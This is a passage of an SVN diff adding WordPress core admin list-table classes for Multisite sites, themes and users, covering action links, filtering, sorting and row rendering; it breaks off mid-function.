+			if ( current_user_can( 'delete_site', $blog['blog_id'] ) ) {
+				$actions['delete'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=deleteblog&amp;id=' . $blog['blog_id'] ), 'deleteblog_' . $blog['blog_id'] ) ) . '">' . __( 'Delete' ) . '</a>';
+			}
+		}
+
+		$actions['visit']	= "<a href='" . esc_url( get_home_url( $blog['blog_id'], '/' ) ) . "' rel='bookmark'>" . __( 'Visit' ) . '</a>';
+
+		/**
+		 * Filters the action links displayed for each site in the Sites list table.
+		 *
+		 * The 'Edit', 'Dashboard', 'Delete', and 'Visit' links are displayed by
+		 * default for each site. The site's status determines whether to show the
+		 * 'Activate' or 'Deactivate' link, 'Unarchive' or 'Archive' links, and
+		 * 'Not Spam' or 'Spam' link for each site.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array  $actions  An array of action links to be displayed.
+		 * @param int    $blog_id  The site ID.
+		 * @param string $blogname Site path, formatted depending on whether it is a sub-domain
+		 *                         or subdirectory multisite installation.
+		 */
+		$actions = apply_filters( 'manage_sites_action_links', array_filter( $actions ), $blog['blog_id'], $blogname );
+		return $this->row_actions( $actions );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-ms-themes-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-ms-themes-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-ms-themes-list-table.php	(revision 56912)
@@ -0,0 +1,726 @@
+<?php
+/**
+ * List Table API: WP_MS_Themes_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying themes in a list table for the network admin.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_MS_Themes_List_Table extends WP_List_Table {
+
+	public $site_id;
+	public $is_site_themes;
+
+	private $has_items;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @global string $status
+	 * @global int    $page
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		global $status, $page;
+
+		parent::__construct( array(
+			'plural' => 'themes',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+
+		$status = isset( $_REQUEST['theme_status'] ) ? $_REQUEST['theme_status'] : 'all';
+		if ( !in_array( $status, array( 'all', 'enabled', 'disabled', 'upgrade', 'search', 'broken' ) ) )
+			$status = 'all';
+
+		$page = $this->get_pagenum();
+
+		$this->is_site_themes = ( 'site-themes-network' === $this->screen->id ) ? true : false;
+
+		if ( $this->is_site_themes )
+			$this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_table_classes() {
+		// todo: remove and add CSS for .themes
+		return array( 'widefat', 'plugins' );
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		if ( $this->is_site_themes )
+			return current_user_can( 'manage_sites' );
+		else
+			return current_user_can( 'manage_network_themes' );
+	}
+
+	/**
+	 *
+	 * @global string $status
+	 * @global array $totals
+	 * @global int $page
+	 * @global string $orderby
+	 * @global string $order
+	 * @global string $s
+	 */
+	public function prepare_items() {
+		global $status, $totals, $page, $orderby, $order, $s;
+
+		wp_reset_vars( array( 'orderby', 'order', 's' ) );
+
+		$themes = array(
+			/**
+			 * Filters the full array of WP_Theme objects to list in the Multisite
+			 * themes list table.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array $all An array of WP_Theme objects to display in the list table.
+			 */
+			'all' => apply_filters( 'all_themes', wp_get_themes() ),
+			'search' => array(),
+			'enabled' => array(),
+			'disabled' => array(),
+			'upgrade' => array(),
+			'broken' => $this->is_site_themes ? array() : wp_get_themes( array( 'errors' => true ) ),
+		);
+
+		if ( $this->is_site_themes ) {
+			$themes_per_page = $this->get_items_per_page( 'site_themes_network_per_page' );
+			$allowed_where = 'site';
+		} else {
+			$themes_per_page = $this->get_items_per_page( 'themes_network_per_page' );
+			$allowed_where = 'network';
+		}
+
+		$maybe_update = current_user_can( 'update_themes' ) && ! $this->is_site_themes && $current = get_site_transient( 'update_themes' );
+
+		foreach ( (array) $themes['all'] as $key => $theme ) {
+			if ( $this->is_site_themes && $theme->is_allowed( 'network' ) ) {
+				unset( $themes['all'][ $key ] );
+				continue;
+			}
+
+			if ( $maybe_update && isset( $current->response[ $key ] ) ) {
+				$themes['all'][ $key ]->update = true;
+				$themes['upgrade'][ $key ] = $themes['all'][ $key ];
+			}
+
+			$filter = $theme->is_allowed( $allowed_where, $this->site_id ) ? 'enabled' : 'disabled';
+			$themes[ $filter ][ $key ] = $themes['all'][ $key ];
+		}
+
+		if ( $s ) {
+			$status = 'search';
+			$themes['search'] = array_filter( array_merge( $themes['all'], $themes['broken'] ), array( $this, '_search_callback' ) );
+		}
+
+		$totals = array();
+		foreach ( $themes as $type => $list )
+			$totals[ $type ] = count( $list );
+
+		if ( empty( $themes[ $status ] ) && !in_array( $status, array( 'all', 'search' ) ) )
+			$status = 'all';
+
+		$this->items = $themes[ $status ];
+		WP_Theme::sort_by_name( $this->items );
+
+		$this->has_items = ! empty( $themes['all'] );
+		$total_this_page = $totals[ $status ];
+
+		wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
+			'themes' => $totals,
+			'totals' => wp_get_update_data(),
+		) );
+
+		if ( $orderby ) {
+			$orderby = ucfirst( $orderby );
+			$order = strtoupper( $order );
+
+			if ( $orderby === 'Name' ) {
+				if ( 'ASC' === $order ) {
+					$this->items = array_reverse( $this->items );
+				}
+			} else {
+				uasort( $this->items, array( $this, '_order_callback' ) );
+			}
+		}
+
+		$start = ( $page - 1 ) * $themes_per_page;
+
+		if ( $total_this_page > $themes_per_page )
+			$this->items = array_slice( $this->items, $start, $themes_per_page, true );
+
+		$this->set_pagination_args( array(
+			'total_items' => $total_this_page,
+			'per_page' => $themes_per_page,
+		) );
+	}
+
+	/**
+	 * @staticvar string $term
+	 * @param WP_Theme $theme
+	 * @return bool
+	 */
+	public function _search_callback( $theme ) {
+		static $term = null;
+		if ( is_null( $term ) )
+			$term = wp_unslash( $_REQUEST['s'] );
+
+		foreach ( array( 'Name', 'Description', 'Author', 'Author', 'AuthorURI' ) as $field ) {
+			// Don't mark up; Do translate.
+			if ( false !== stripos( $theme->display( $field, false, true ), $term ) )
+				return true;
+		}
+
+		if ( false !== stripos( $theme->get_stylesheet(), $term ) )
+			return true;
+
+		if ( false !== stripos( $theme->get_template(), $term ) )
+			return true;
+
+		return false;
+	}
+
+	// Not used by any core columns.
+	/**
+	 * @global string $orderby
+	 * @global string $order
+	 * @param array $theme_a
+	 * @param array $theme_b
+	 * @return int
+	 */
+	public function _order_callback( $theme_a, $theme_b ) {
+		global $orderby, $order;
+
+		$a = $theme_a[ $orderby ];
+		$b = $theme_b[ $orderby ];
+
+		if ( $a == $b )
+			return 0;
+
+		if ( 'DESC' === $order )
+			return ( $a < $b ) ? 1 : -1;
+		else
+			return ( $a < $b ) ? -1 : 1;
+	}
+
+	/**
+	 */
+	public function no_items() {
+		if ( $this->has_items ) {
+			_e( 'No themes found.' );
+		} else {
+			_e( 'You do not appear to have any themes available at this time.' );
+		}
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		return array(
+			'cb'          => '<input type="checkbox" />',
+			'name'        => __( 'Theme' ),
+			'description' => __( 'Description' ),
+		);
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array(
+			'name'         => 'name',
+		);
+	}
+
+	/**
+	 * Gets the name of the primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Unalterable name of the primary column name, in this case, 'name'.
+	 */
+	protected function get_primary_column_name() {
+		return 'name';
+	}
+
+	/**
+	 *
+	 * @global array $totals
+	 * @global string $status
+	 * @return array
+	 */
+	protected function get_views() {
+		global $totals, $status;
+
+		$status_links = array();
+		foreach ( $totals as $type => $count ) {
+			if ( !$count )
+				continue;
+
+			switch ( $type ) {
+				case 'all':
+					$text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'themes' );
+					break;
+				case 'enabled':
+					$text = _n( 'Enabled <span class="count">(%s)</span>', 'Enabled <span class="count">(%s)</span>', $count );
+					break;
+				case 'disabled':
+					$text = _n( 'Disabled <span class="count">(%s)</span>', 'Disabled <span class="count">(%s)</span>', $count );
+					break;
+				case 'upgrade':
+					$text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count );
+					break;
+				case 'broken' :
+					$text = _n( 'Broken <span class="count">(%s)</span>', 'Broken <span class="count">(%s)</span>', $count );
+					break;
+			}
+
+			if ( $this->is_site_themes )
+				$url = 'site-themes.php?id=' . $this->site_id;
+			else
+				$url = 'themes.php';
+
+			if ( 'search' != $type ) {
+				$status_links[$type] = sprintf( "<a href='%s'%s>%s</a>",
+					esc_url( add_query_arg('theme_status', $type, $url) ),
+					( $type === $status ) ? ' class="current" aria-current="page"' : '',
+					sprintf( $text, number_format_i18n( $count ) )
+				);
+			}
+		}
+
+		return $status_links;
+	}
+
+	/**
+	 * @global string $status
+	 *
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		global $status;
+
+		$actions = array();
+		if ( 'enabled' != $status )
+			$actions['enable-selected'] = $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' );
+		if ( 'disabled' != $status )
+			$actions['disable-selected'] = $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' );
+		if ( ! $this->is_site_themes ) {
+			if ( current_user_can( 'update_themes' ) )
+				$actions['update-selected'] = __( 'Update' );
+			if ( current_user_can( 'delete_themes' ) )
+				$actions['delete-selected'] = __( 'Delete' );
+		}
+		return $actions;
+	}
+
+	/**
+	 */
+	public function display_rows() {
+		foreach ( $this->items as $theme )
+			$this->single_row( $theme );
+	}
+
+	/**
+	 * Handles the checkbox column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Theme $theme The current WP_Theme object.
+	 */
+	public function column_cb( $theme ) {
+		$checkbox_id = 'checkbox_' . md5( $theme->get('Name') );
+		?>
+		<input type="checkbox" name="checked[]" value="<?php echo esc_attr( $theme->get_stylesheet() ) ?>" id="<?php echo $checkbox_id ?>" />
+		<label class="screen-reader-text" for="<?php echo $checkbox_id ?>" ><?php _e( 'Select' ) ?>  <?php echo $theme->display( 'Name' ) ?></label>
+		<?php
+	}
+
+	/**
+	 * Handles the name column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @global string $status
+	 * @global int    $page
+	 * @global string $s
+	 *
+	 * @param WP_Theme $theme The current WP_Theme object.
+	 */
+	public function column_name( $theme ) {
+		global $status, $page, $s;
+
+		$context = $status;
+
+		if ( $this->is_site_themes ) {
+			$url = "site-themes.php?id={$this->site_id}&amp;";
+			$allowed = $theme->is_allowed( 'site', $this->site_id );
+		} else {
+			$url = 'themes.php?';
+			$allowed = $theme->is_allowed( 'network' );
+		}
+
+		// Pre-order.
+		$actions = array(
+			'enable' => '',
+			'disable' => '',
+			'delete' => ''
+		);
+
+		$stylesheet = $theme->get_stylesheet();
+		$theme_key = urlencode( $stylesheet );
+
+		if ( ! $allowed ) {
+			if ( ! $theme->errors() ) {
+				$url = add_query_arg( array(
+					'action' => 'enable',
+					'theme'  => $theme_key,
+					'paged'  => $page,
+					's'      => $s,
+				), $url );
+
+				if ( $this->is_site_themes ) {
+					/* translators: %s: theme name */
+					$aria_label = sprintf( __( 'Enable %s' ), $theme->display( 'Name' ) );
+				} else {
+					/* translators: %s: theme name */
+					$aria_label = sprintf( __( 'Network Enable %s' ), $theme->display( 'Name' ) );
+				}
+
+				$actions['enable'] = sprintf( '<a href="%s" class="edit" aria-label="%s">%s</a>',
+					esc_url( wp_nonce_url( $url, 'enable-theme_' . $stylesheet ) ),
+					esc_attr( $aria_label ),
+					( $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ) )
+				);
+			}
+		} else {
+			$url = add_query_arg( array(
+				'action' => 'disable',
+				'theme'  => $theme_key,
+				'paged'  => $page,
+				's'      => $s,
+			), $url );
+
+			if ( $this->is_site_themes ) {
+				/* translators: %s: theme name */
+				$aria_label = sprintf( __( 'Disable %s' ), $theme->display( 'Name' ) );
+			} else {
+				/* translators: %s: theme name */
+				$aria_label = sprintf( __( 'Network Disable %s' ), $theme->display( 'Name' ) );
+			}
+
+			$actions['disable'] = sprintf( '<a href="%s" aria-label="%s">%s</a>',
+				esc_url( wp_nonce_url( $url, 'disable-theme_' . $stylesheet ) ),
+				esc_attr( $aria_label ),
+				( $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ) )
+			);
+		}
+
+		if ( ! $allowed && current_user_can( 'delete_themes' ) && ! $this->is_site_themes && $stylesheet != get_option( 'stylesheet' ) && $stylesheet != get_option( 'template' ) ) {
+			$url = add_query_arg( array(
+				'action'       => 'delete-selected',
+				'checked[]'    => $theme_key,
+				'theme_status' => $context,
+				'paged'        => $page,
+				's'            => $s,
+			), 'themes.php' );
+
+			/* translators: %s: theme name */
+			$aria_label = sprintf( _x( 'Delete %s', 'theme' ), $theme->display( 'Name' ) );
+
+			$actions['delete'] = sprintf( '<a href="%s" class="delete" aria-label="%s">%s</a>',
+				esc_url( wp_nonce_url( $url, 'bulk-themes' ) ),
+				esc_attr( $aria_label ),
+				__( 'Delete' )
+			);
+		}
+		/**
+		 * Filters the action links displayed for each theme in the Multisite
+		 * themes list table.
+		 *
+		 * The action links displayed are determined by the theme's status, and
+		 * which Multisite themes list table is being displayed - the Network
+		 * themes list table (themes.php), which displays all installed themes,
+		 * or the Site themes list table (site-themes.php), which displays the
+		 * non-network enabled themes when editing a site in the Network admin.
+		 *
+		 * The default action links for the Network themes list table include
+		 * 'Network Enable', 'Network Disable', and 'Delete'.
+		 *
+		 * The default action links for the Site themes list table include
+		 * 'Enable', and 'Disable'.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array    $actions An array of action links.
+		 * @param WP_Theme $theme   The current WP_Theme object.
+		 * @param string   $context Status of the theme, one of 'all', 'enabled', or 'disabled'.
+		 */
+		$actions = apply_filters( 'theme_action_links', array_filter( $actions ), $theme, $context );
+
+		/**
+		 * Filters the action links of a specific theme in the Multisite themes
+		 * list table.
+		 *
+		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
+		 * directory name of the theme, which in most cases is synonymous
+		 * with the template name.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array    $actions An array of action links.
+		 * @param WP_Theme $theme   The current WP_Theme object.
+		 * @param string   $context Status of the theme, one of 'all', 'enabled', or 'disabled'.
+		 */
+		$actions = apply_filters( "theme_action_links_{$stylesheet}", $actions, $theme, $context );
+
+		echo $this->row_actions( $actions, true );
+	}
+
+	/**
+	 * Handles the description column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @global string $status
+	 * @global array  $totals
+	 *
+	 * @param WP_Theme $theme The current WP_Theme object.
+	 */
+	public function column_description( $theme ) {
+		global $status, $totals;
+		if ( $theme->errors() ) {
+			$pre = $status === 'broken' ? __( 'Broken Theme:' ) . ' ' : '';
+			echo '<p><strong class="error-message">' . $pre . $theme->errors()->get_error_message() . '</strong></p>';
+		}
+
+		if ( $this->is_site_themes ) {
+			$allowed = $theme->is_allowed( 'site', $this->site_id );
+		} else {
+			$allowed = $theme->is_allowed( 'network' );
+		}
+
+		$class = ! $allowed ? 'inactive' : 'active';
+		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) )
+			$class .= ' update';
+
+		echo "<div class='theme-description'><p>" . $theme->display( 'Description' ) . "</p></div>
+			<div class='$class second theme-version-author-uri'>";
+
+		$stylesheet = $theme->get_stylesheet();
+		$theme_meta = array();
+
+		if ( $theme->get('Version') ) {
+			$theme_meta[] = sprintf( __( 'Version %s' ), $theme->display('Version') );
+		}
+		$theme_meta[] = sprintf( __( 'By %s' ), $theme->display('Author') );
+
+		if ( $theme->get('ThemeURI') ) {
+			/* translators: %s: theme name */
+			$aria_label = sprintf( __( 'Visit %s homepage' ), $theme->display( 'Name' ) );
+
+			$theme_meta[] = sprintf( '<a href="%s" aria-label="%s">%s</a>',
+				$theme->display( 'ThemeURI' ),
+				esc_attr( $aria_label ),
+				__( 'Visit Theme Site' )
+			);
+		}
+		/**
+		 * Filters the array of row meta for each theme in the Multisite themes
+		 * list table.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array    $theme_meta An array of the theme's metadata,
+		 *                             including the version, author, and
+		 *                             theme URI.
+		 * @param string   $stylesheet Directory name of the theme.
+		 * @param WP_Theme $theme      WP_Theme object.
+		 * @param string   $status     Status of the theme.
+		 */
+		$theme_meta = apply_filters( 'theme_row_meta', $theme_meta, $stylesheet, $theme, $status );
+		echo implode( ' | ', $theme_meta );
+
+		echo '</div>';
+	}
+
+	/**
+	 * Handles default column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Theme $theme       The current WP_Theme object.
+	 * @param string   $column_name The current column name.
+	 */
+	public function column_default( $theme, $column_name ) {
+		$stylesheet = $theme->get_stylesheet();
+
+		/**
+		 * Fires inside each custom column of the Multisite themes list table.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string   $column_name Name of the column.
+		 * @param string   $stylesheet  Directory name of the theme.
+		 * @param WP_Theme $theme       Current WP_Theme object.
+		 */
+		do_action( 'manage_themes_custom_column', $column_name, $stylesheet, $theme );
+	}
+
+	/**
+	 * Handles the output for a single table row.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Theme $item The current WP_Theme object.
+	 */
+	public function single_row_columns( $item ) {
+		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			$extra_classes = '';
+			if ( in_array( $column_name, $hidden ) ) {
+				$extra_classes .= ' hidden';
+			}
+
+			switch ( $column_name ) {
+				case 'cb':
+					echo '<th scope="row" class="check-column">';
+
+					$this->column_cb( $item );
+
+					echo '</th>';
+					break;
+
+				case 'name':
+
+					$active_theme_label = '';
+
+					/* The presence of the site_id property means that this is a subsite view and a label for the active theme needs to be added */
+					if ( ! empty( $this->site_id ) ) {
+						$stylesheet = get_blog_option( $this->site_id, 'stylesheet' );
+						$template   = get_blog_option( $this->site_id, 'template' );
+
+						/* Add a label for the active template */
+						if ( $item->get_template() === $template ) {
+							$active_theme_label = ' &mdash; ' . __( 'Active Theme' );
+						}
+
+						/* In case this is a child theme, label it properly */
+						if ( $stylesheet !== $template && $item->get_stylesheet() === $stylesheet) {
+							$active_theme_label = ' &mdash; ' . __( 'Active Child Theme' );
+						}
+					}
+
+					echo "<td class='theme-title column-primary{$extra_classes}'><strong>" . $item->display( 'Name' ) . $active_theme_label . '</strong>';
+
+					$this->column_name( $item );
+
+					echo "</td>";
+					break;
+
+				case 'description':
+					echo "<td class='column-description desc{$extra_classes}'>";
+
+					$this->column_description( $item );
+
+					echo '</td>';
+					break;
+
+				default:
+					echo "<td class='$column_name column-$column_name{$extra_classes}'>";
+
+					$this->column_default( $item, $column_name );
+
+					echo "</td>";
+					break;
+			}
+		}
+	}
+
+	/**
+	 * @global string $status
+	 * @global array  $totals
+	 *
+	 * @param WP_Theme $theme
+	 */
+	public function single_row( $theme ) {
+		global $status, $totals;
+
+		if ( $this->is_site_themes ) {
+			$allowed = $theme->is_allowed( 'site', $this->site_id );
+		} else {
+			$allowed = $theme->is_allowed( 'network' );
+		}
+
+		$stylesheet = $theme->get_stylesheet();
+
+		$class = ! $allowed ? 'inactive' : 'active';
+		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) {
+			$class .= ' update';
+		}
+
+		printf( '<tr class="%s" data-slug="%s">',
+			esc_attr( $class ),
+			esc_attr( $stylesheet )
+		);
+
+		$this->single_row_columns( $theme );
+
+		echo "</tr>";
+
+		if ( $this->is_site_themes )
+			remove_action( "after_theme_row_$stylesheet", 'wp_theme_update_row' );
+
+		/**
+		 * Fires after each row in the Multisite themes list table.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string   $stylesheet Directory name of the theme.
+		 * @param WP_Theme $theme      Current WP_Theme object.
+		 * @param string   $status     Status of the theme.
+		 */
+		do_action( 'after_theme_row', $stylesheet, $theme, $status );
+
+		/**
+		 * Fires after each specific row in the Multisite themes list table.
+		 *
+		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
+		 * directory name of the theme, most often synonymous with the template
+		 * name of the theme.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param string   $stylesheet Directory name of the theme.
+		 * @param WP_Theme $theme      Current WP_Theme object.
+		 * @param string   $status     Status of the theme.
+		 */
+		do_action( "after_theme_row_{$stylesheet}", $stylesheet, $theme, $status );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-ms-users-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-ms-users-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-ms-users-list-table.php	(revision 56912)
@@ -0,0 +1,457 @@
+<?php
+/**
+ * List Table API: WP_MS_Users_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying users in a list table for the network admin.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_MS_Users_List_Table extends WP_List_Table {
+	/**
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		return current_user_can( 'manage_network_users' );
+	}
+
+	/**
+	 *
+	 * @global string $usersearch
+	 * @global string $role
+	 * @global wpdb   $wpdb
+	 * @global string $mode
+	 */
+	public function prepare_items() {
+		global $usersearch, $role, $wpdb, $mode;
+
+		$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';
+
+		$users_per_page = $this->get_items_per_page( 'users_network_per_page' );
+
+		$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';
+
+		$paged = $this->get_pagenum();
+
+		$args = array(
+			'number' => $users_per_page,
+			'offset' => ( $paged-1 ) * $users_per_page,
+			'search' => $usersearch,
+			'blog_id' => 0,
+			'fields' => 'all_with_meta'
+		);
+
+		if ( wp_is_large_network( 'users' ) ) {
+			$args['search'] = ltrim( $args['search'], '*' );
+		} else if ( '' !== $args['search'] ) {
+			$args['search'] = trim( $args['search'], '*' );
+			$args['search'] = '*' . $args['search'] . '*';
+		}
+
+		if ( $role === 'super' ) {
+			$logins = implode( "', '", get_super_admins() );
+			$args['include'] = $wpdb->get_col( "SELECT ID FROM $wpdb->users WHERE user_login IN ('$logins')" );
+		}
+
+		/*
+		 * If the network is large and a search is not being performed,
+		 * show only the latest users with no paging in order to avoid
+		 * expensive count queries.
+		 */
+		if ( !$usersearch && wp_is_large_network( 'users' ) ) {
+			if ( !isset($_REQUEST['orderby']) )
+				$_GET['orderby'] = $_REQUEST['orderby'] = 'id';
+			if ( !isset($_REQUEST['order']) )
+				$_GET['order'] = $_REQUEST['order'] = 'DESC';
+			$args['count_total'] = false;
+		}
+
+		if ( isset( $_REQUEST['orderby'] ) )
+			$args['orderby'] = $_REQUEST['orderby'];
+
+		if ( isset( $_REQUEST['order'] ) )
+			$args['order'] = $_REQUEST['order'];
+
+		if ( ! empty( $_REQUEST['mode'] ) ) {
+			$mode = $_REQUEST['mode'] === 'excerpt' ? 'excerpt' : 'list';
+			set_user_setting( 'network_users_list_mode', $mode );
+		} else {
+			$mode = get_user_setting( 'network_users_list_mode', 'list' );
+		}
+
+		/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
+		$args = apply_filters( 'users_list_table_query_args', $args );
+
+		// Query the user IDs for this page
+		$wp_user_search = new WP_User_Query( $args );
+
+		$this->items = $wp_user_search->get_results();
+
+		$this->set_pagination_args( array(
+			'total_items' => $wp_user_search->get_total(),
+			'per_page' => $users_per_page,
+		) );
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		$actions = array();
+		if ( current_user_can( 'delete_users' ) )
+			$actions['delete'] = __( 'Delete' );
+		$actions['spam'] = _x( 'Mark as Spam', 'user' );
+		$actions['notspam'] = _x( 'Not Spam', 'user' );
+
+		return $actions;
+	}
+
+	/**
+	 */
+	public function no_items() {
+		_e( 'No users found.' );
+	}
+
+	/**
+	 *
+	 * @global string $role
+	 * @return array
+	 */
+	protected function get_views() {
+		global $role;
+
+		$total_users = get_user_count();
+		$super_admins = get_super_admins();
+		$total_admins = count( $super_admins );
+
+		$current_link_attributes = $role !== 'super' ? ' class="current" aria-current="page"' : '';
+		$role_links = array();
+		$role_links['all'] = "<a href='" . network_admin_url( 'users.php' ) . "'$current_link_attributes>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ) . '</a>';
+		$current_link_attributes = $role === 'super' ? ' class="current" aria-current="page"' : '';
+		$role_links['super'] = "<a href='" . network_admin_url( 'users.php?role=super' ) . "'$current_link_attributes>" . sprintf( _n( 'Super Admin <span class="count">(%s)</span>', 'Super Admins <span class="count">(%s)</span>', $total_admins ), number_format_i18n( $total_admins ) ) . '</a>';
+
+		return $role_links;
+	}
+
+	/**
+	 * @global string $mode List table view mode.
+	 *
+	 * @param string $which
+	 */
+	protected function pagination( $which ) {
+		global $mode;
+
+		parent::pagination ( $which );
+
+		if ( 'top' === $which ) {
+			$this->view_switcher( $mode );
+		}
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		$users_columns = array(
+			'cb'         => '<input type="checkbox" />',
+			'username'   => __( 'Username' ),
+			'name'       => __( 'Name' ),
+			'email'      => __( 'Email' ),
+			'registered' => _x( 'Registered', 'user' ),
+			'blogs'      => __( 'Sites' )
+		);
+		/**
+		 * Filters the columns displayed in the Network Admin Users list table.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param array $users_columns An array of user columns. Default 'cb', 'username',
+		 *                             'name', 'email', 'registered', 'blogs'.
+		 */
+		return apply_filters( 'wpmu_users_columns', $users_columns );
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array(
+			'username'   => 'login',
+			'name'       => 'name',
+			'email'      => 'email',
+			'registered' => 'id',
+		);
+	}
+
+	/**
+	 * Handles the checkbox column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_User $user The current WP_User object.
+	 */
+	public function column_cb( $user ) {
+		if ( is_super_admin( $user->ID ) ) {
+			return;
+		}
+		?>
+		<label class="screen-reader-text" for="blog_<?php echo $user->ID; ?>"><?php echo sprintf( __( 'Select %s' ), $user->user_login ); ?></label>
+		<input type="checkbox" id="blog_<?php echo $user->ID ?>" name="allusers[]" value="<?php echo esc_attr( $user->ID ) ?>" />
+		<?php
+	}
+
+	/**
+	 * Handles the ID column output.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_User $user The current WP_User object.
+	 */
+	public function column_id( $user ) {
+		echo $user->ID;
+	}
+
+	/**
+	 * Handles the username column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_User $user The current WP_User object.
+	 */
+	public function column_username( $user ) {
+		$super_admins = get_super_admins();
+		$avatar	= get_avatar( $user->user_email, 32 );
+		$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
+
+		echo $avatar;
+
+		?><strong><a href="<?php echo $edit_link; ?>" class="edit"><?php echo $user->user_login; ?></a><?php
+		if ( in_array( $user->user_login, $super_admins ) ) {
+			echo ' &mdash; ' . __( 'Super Admin' );
+		}
+		?></strong>
+	<?php
+	}
+
+	/**
+	 * Handles the name column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_User $user The current WP_User object.
+	 */
+	public function column_name( $user ) {
+		if ( $user->first_name && $user->last_name ) {
+			echo "$user->first_name $user->last_name";
+		} elseif ( $user->first_name ) {
+			echo $user->first_name;
+		} elseif ( $user->last_name ) {
+			echo $user->last_name;
+		} else {
+			echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . _x( 'Unknown', 'name' ) . '</span>';
+		}
+	}
+
+	/**
+	 * Handles the email column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_User $user The current WP_User object.
+	 */
+	public function column_email( $user ) {
+		echo "<a href='" . esc_url( "mailto:$user->user_email" ) . "'>$user->user_email</a>";
+	}
+
+	/**
+	 * Handles the registered date column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @global string $mode List table view mode.
+	 *
+	 * @param WP_User $user The current WP_User object.
+	 */
+	public function column_registered( $user ) {
+		global $mode;
+		if ( 'list' === $mode ) {
+			$date = __( 'Y/m/d' );
+		} else {
+			$date = __( 'Y/m/d g:i:s a' );
+		}
+		echo mysql2date( $date, $user->user_registered );
+	}
+
+	/**
+	 * @since 4.3.0
+	 *
+	 * @param WP_User $user
+	 * @param string  $classes
+	 * @param string  $data
+	 * @param string  $primary
+	 */
+	protected function _column_blogs( $user, $classes, $data, $primary ) {
+		echo '<td class="', $classes, ' has-row-actions" ', $data, '>';
+		echo $this->column_blogs( $user );
+		echo $this->handle_row_actions( $user, 'blogs', $primary );
+		echo '</td>';
+	}
+
+	/**
+	 * Handles the sites column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_User $user The current WP_User object.
+	 */
+	public function column_blogs( $user ) {
